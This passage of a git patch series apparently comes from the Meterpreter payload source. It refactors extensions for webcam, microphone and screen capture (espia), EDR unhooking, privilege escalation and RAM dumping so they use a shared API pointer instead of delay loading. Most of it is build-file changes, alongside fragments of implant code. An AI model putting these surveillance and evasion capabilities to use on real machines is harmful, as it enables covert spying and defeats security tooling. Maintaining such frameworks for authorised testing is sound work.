Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map @@ -249,7 +252,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_winpmem.map diff --git a/c/meterpreter/workspace/meterpreter.sln b/c/meterpreter/workspace/meterpreter.sln index 0903e797..8a4969c8 100755 --- a/c/meterpreter/workspace/meterpreter.sln +++ b/c/meterpreter/workspace/meterpreter.sln @@ -3,8 +3,6 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30002.166 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}" -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_priv", "ext_server_priv\ext_server_priv.vcxproj", "{87C64204-C82F-415D-AF45-D0B33BDFE39A}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}" @@ -62,14 +60,6 @@ Global Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.ActiveCfg = r7_release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.Build.0 = r7_release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|x64.ActiveCfg = r7_release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|x64.Build.0 = r7_release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|Win32.ActiveCfg = Release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|Win32.Build.0 = Release|Win32 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.ActiveCfg = Release|x64 - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.Build.0 = Release|x64 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.ActiveCfg = r7_release|Win32 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.Build.0 = r7_release|Win32 {87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|x64.ActiveCfg = r7_release|x64 diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 1c9c2a1c..5bceb825 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -125,7 +125,8 @@ backcompat.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + %(DelayLoadDLLs) false true @@ -191,7 +192,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" backcompat.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\backcompat\$(Configuration);..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + %(DelayLoadDLLs) false true @@ -257,7 +259,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + false true $(OutDir)\metsrv.map @@ -322,7 +325,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) true ..\common\$(Configuration);%(AdditionalLibraryDirectories) - ..\..\source\server\win\metsrv.def + + false true $(OutDir)\metsrv.map @@ -346,56 +350,6 @@ IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - Create - - - - - - - - - - NotUsing - - - - - NotUsing - - - - - NotUsing - - - - - NotUsing - - - - - - - - - - - - - - - - - - - - - @@ -407,15 +361,65 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index c5f96dd4..cb1bf4df 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -1,62 +1,57 @@  - - - - - - - transports - - - transports - - - transports - - - pivots - - - pivots - - - transports - + + + + + + + + + + + + + + + + + + + + + + + + - - - - - transports - - - transports - - - transports - - - pivots - - - pivots - - - transports - - - - - - - - {302976b1-9752-4587-ac91-61595d625665} - - - {71e24bf2-1e97-4a69-8092-d9606d341e80} - + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file From cd18f98caf89c71557aae5e1065dd8bc27435151 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 18:10:09 +1000 Subject: [PATCH 03/21] Make espia work without delay loading metsrv --- c/meterpreter/source/extensions/espia/audio.c | 30 ++++++++++--------- c/meterpreter/source/extensions/espia/espia.c | 20 ++++++------- .../source/extensions/espia/screen.c | 10 +++---- c/meterpreter/source/extensions/espia/video.c | 16 +++++----- .../source/extensions/priv/server/priv.c | 3 +- .../ext_server_espia/ext_server_espia.vcxproj | 8 ++--- 6 files changed, 44 insertions(+), 43 deletions(-) diff --git a/c/meterpreter/source/extensions/espia/audio.c b/c/meterpreter/source/extensions/espia/audio.c index 126b59d1..051bfd45 100644 --- a/c/meterpreter/source/extensions/espia/audio.c +++ b/c/meterpreter/source/extensions/espia/audio.c @@ -1,5 +1,5 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" #include #include #include @@ -7,6 +7,7 @@ #include #include #include "espia.h" +#include "common_metapi.h" #pragma comment(lib, "vfw32.lib") #pragma comment(lib, "winmm.lib") @@ -60,6 +61,7 @@ BOOL capmicaudio(char* szFile, int millisecs) return (0L); } +// TODO: remove this junk? int __declspec(dllexport) controlmic(char **waveresults, int msecs) { DWORD dwError = 0; char *wavestring = NULL; @@ -80,24 +82,24 @@ int __declspec(dllexport) controlmic(char **waveresults, int msecs) { /* * Grabs the audio from mic. */ -DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) +DWORD request_audio_get_dev_audio(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - char *wave = NULL; + Packet* response = met_api->packet.create_response(packet); + DWORD res = ERROR_SUCCESS; + char* wave = NULL; - if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) - { - res = GetLastError(); - } + if (controlmic(&wave, met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) + { + res = GetLastError(); + } - //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); + //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); - if (wave) - free(wave); + if (wave) + free(wave); - return res; + return res; } diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index ba5d81e1..c5e8a454 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -2,23 +2,21 @@ * This module implemenet webcam frae capture and mic recording features. */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "espia.h" #include "audio.h" #include "video.h" #include "screen.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +// Required so that use of the API works. +MetApi* met_api = NULL; + // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - Command customCommands[] = { COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ), @@ -32,11 +30,11 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all( customCommands ); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -48,7 +46,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all( customCommands ); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/espia/screen.c b/c/meterpreter/source/extensions/espia/screen.c index c606a820..98d6d4fe 100644 --- a/c/meterpreter/source/extensions/espia/screen.c +++ b/c/meterpreter/source/extensions/espia/screen.c @@ -1,5 +1,5 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" #include #include #include @@ -9,6 +9,7 @@ #include #include "espia.h" #include "screen.h" +#include "common_metapi.h" /* Function modified to store bitmap in memory. et [ ] metasploit.com @@ -827,7 +828,6 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)); memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb); // Don't send it yet. Convert it to a JPEG. - //packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s); // JPEG conversion start here..' @@ -875,7 +875,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ (*src_mgr->finish_input) (&cinfo, src_mgr); jpeg_finish_compress(&cinfo); jpeg_destroy_compress(&cinfo); - packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); + met_api->packet.add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); // Is it safe to free this right after pack_add_tlv_raw? free(buf_jpeg); @@ -896,7 +896,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ */ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; @@ -1045,7 +1045,7 @@ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) if (hInputDesktop) CloseDesktop(hInputDesktop); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } diff --git a/c/meterpreter/source/extensions/espia/video.c b/c/meterpreter/source/extensions/espia/video.c index 5631530e..397279e6 100644 --- a/c/meterpreter/source/extensions/espia/video.c +++ b/c/meterpreter/source/extensions/espia/video.c @@ -1,4 +1,4 @@ -#include "../../common/common.h" +#include "common.h" #include #include #include @@ -9,6 +9,7 @@ #include #include #include "espia.h" +#include "common_metapi.h" #pragma comment(lib, "vfw32.lib") @@ -73,6 +74,7 @@ char *StringCombine(char *string1, char *string2) { return string1; } +// TODO: remove this junk?! int __declspec(dllexport) controlcam(char **imageresults) { DWORD dwError = 0; char *imagestring = NULL; @@ -104,11 +106,11 @@ int __declspec(dllexport) controlcam(char **imageresults) { /* * Grabs the Webcam Image. */ -DWORD request_video_get_dev_image(Remote *remote, Packet *packet) +DWORD request_video_get_dev_image(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; - char *image = NULL; + char* image = NULL; do { @@ -118,14 +120,14 @@ DWORD request_video_get_dev_image(Remote *remote, Packet *packet) break; } - //packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); + //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); } while (0); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); if (image) - free(image); + free(image); return res; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index d6173105..03e196ec 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -2,8 +2,7 @@ * @brief This module implements privilege escalation features. */ #include "precomp.h" -#include "common_metapi.h" - +#include "common_metapi.h" // Required so that use of the API works. MetApi* met_api = NULL; diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index 74cb4d19..aa2671e2 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -86,7 +86,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -138,7 +138,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -193,7 +193,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -245,7 +245,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 9ca881235eb2205d393ef153ff03f77058d942da Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 18:14:17 +1000 Subject: [PATCH 04/21] Change unhook extension to remove delay loading of metsrv --- c/meterpreter/source/extensions/espia/espia.c | 1 + .../source/extensions/priv/server/priv.c | 6 ++-- .../source/extensions/stdapi/server/stdapi.c | 8 +++-- .../source/extensions/unhook/unhook.c | 34 +++++++++++-------- .../ext_server_unhook.vcxproj | 8 ++--- 5 files changed, 34 insertions(+), 23 deletions(-) diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index c5e8a454..ad6dcf03 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -27,6 +27,7 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index 03e196ec..5d2ee929 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -28,6 +28,7 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ @@ -35,7 +36,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { met_api = api; - met_api->command.register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -47,11 +48,12 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - met_api->command.deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } + /*! * @brief Get the name of the extension. * @param buffer Pointer to the buffer to write the name to. diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index 5cf66e62..a7d9a9d1 100644 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -173,14 +173,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - met_api = api; + met_api = api; - met_api->command.register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -192,11 +193,12 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - met_api->command.deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } + /*! * @brief Get the name of the extension. * @param buffer Pointer to the buffer to write the name to. diff --git a/c/meterpreter/source/extensions/unhook/unhook.c b/c/meterpreter/source/extensions/unhook/unhook.c index bacd290e..0b0ca839 100644 --- a/c/meterpreter/source/extensions/unhook/unhook.c +++ b/c/meterpreter/source/extensions/unhook/unhook.c @@ -2,9 +2,9 @@ * @file unhook.c * @brief Entry point and intialisation functionality for the unhook extention. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. @@ -13,10 +13,11 @@ #include "unhook.h" #include "refresh.h" -DWORD unhook_pe(Remote *remote, Packet *packet); +// Required so that use of the API works. +MetApi* met_api = NULL; -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); + +DWORD unhook_pe(Remote *remote, Packet *packet); Command customCommands[] = { @@ -27,23 +28,28 @@ Command customCommands[] = }; /*! - * @brief Initialize the server extension + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } @@ -51,13 +57,13 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD unhook_pe(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; RefreshPE(); - packet_add_tlv_uint(response, TLV_TYPE_UNHOOK_RESPONSE, ERROR_SUCCESS); - packet_transmit_response(result, remote, response); + met_api->packet.add_tlv_uint(response, TLV_TYPE_UNHOOK_RESPONSE, ERROR_SUCCESS); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index e4295a13..4d81f53d 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -134,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -236,7 +236,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 136a58a1944b8dd1275be71ec2d8efe2b45893ad Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 18:19:20 +1000 Subject: [PATCH 05/21] Clean comments & update winpmem to avoid delay loading Also, added the "GetExtensionName" functions to winpmum and unhook --- c/meterpreter/source/extensions/espia/espia.c | 3 - .../source/extensions/priv/server/priv.c | 4 +- .../source/extensions/stdapi/server/stdapi.c | 3 - .../source/extensions/unhook/unhook.c | 15 ++++- .../winpmem/winpmem_meterpreter.cpp | 65 +++++++++++-------- .../ext_server_winpmem.vcxproj | 8 +-- 6 files changed, 56 insertions(+), 42 deletions(-) diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index ad6dcf03..3036c75f 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -12,9 +12,6 @@ // Required so that use of the API works. MetApi* met_api = NULL; -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" Command customCommands[] = diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index 5d2ee929..f70fca5c 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -3,12 +3,10 @@ */ #include "precomp.h" #include "common_metapi.h" + // Required so that use of the API works. MetApi* met_api = NULL; -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" /*! diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index a7d9a9d1..1b366791 100644 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -8,9 +8,6 @@ // Required so that use of the API works. MetApi* met_api = NULL; -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor diff --git a/c/meterpreter/source/extensions/unhook/unhook.c b/c/meterpreter/source/extensions/unhook/unhook.c index 0b0ca839..378bef71 100644 --- a/c/meterpreter/source/extensions/unhook/unhook.c +++ b/c/meterpreter/source/extensions/unhook/unhook.c @@ -5,9 +5,6 @@ #include "common.h" #include "common_metapi.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "unhook.h" @@ -67,4 +64,16 @@ DWORD unhook_pe(Remote *remote, Packet *packet) return ERROR_SUCCESS; +} + +/*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) +{ + strncpy_s(buffer, bufferSize, "unhook", bufferSize - 1); + return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp index d42d6855..0c036072 100644 --- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp +++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp @@ -1,21 +1,17 @@ #define DEBUGTRACE 1 -extern "C"{ +extern "C" { /*! * @file WINPMEM.cpp * @brief Entry point and intialisation functionality for the WINPMEM extention. */ -#include "../../common/common.h" - -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" - // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function - // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the - // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common.h" +#include "common_metapi.h" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - // this sets the delay load hook function, see DelayLoadMetSrv.h - EnableDelayLoadMetSrv(); + // Required so that use of the API works. + MetApi* met_api = NULL; - DWORD dump_ram(Remote *remote, Packet *packet); + DWORD dump_ram(Remote* remote, Packet* packet); Command customCommands[] = { @@ -24,26 +20,43 @@ extern "C"{ }; /*! - * @brief Initialize the server extension - */ - DWORD __declspec(dllexport) InitServerExtension(Remote *remote) + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); return 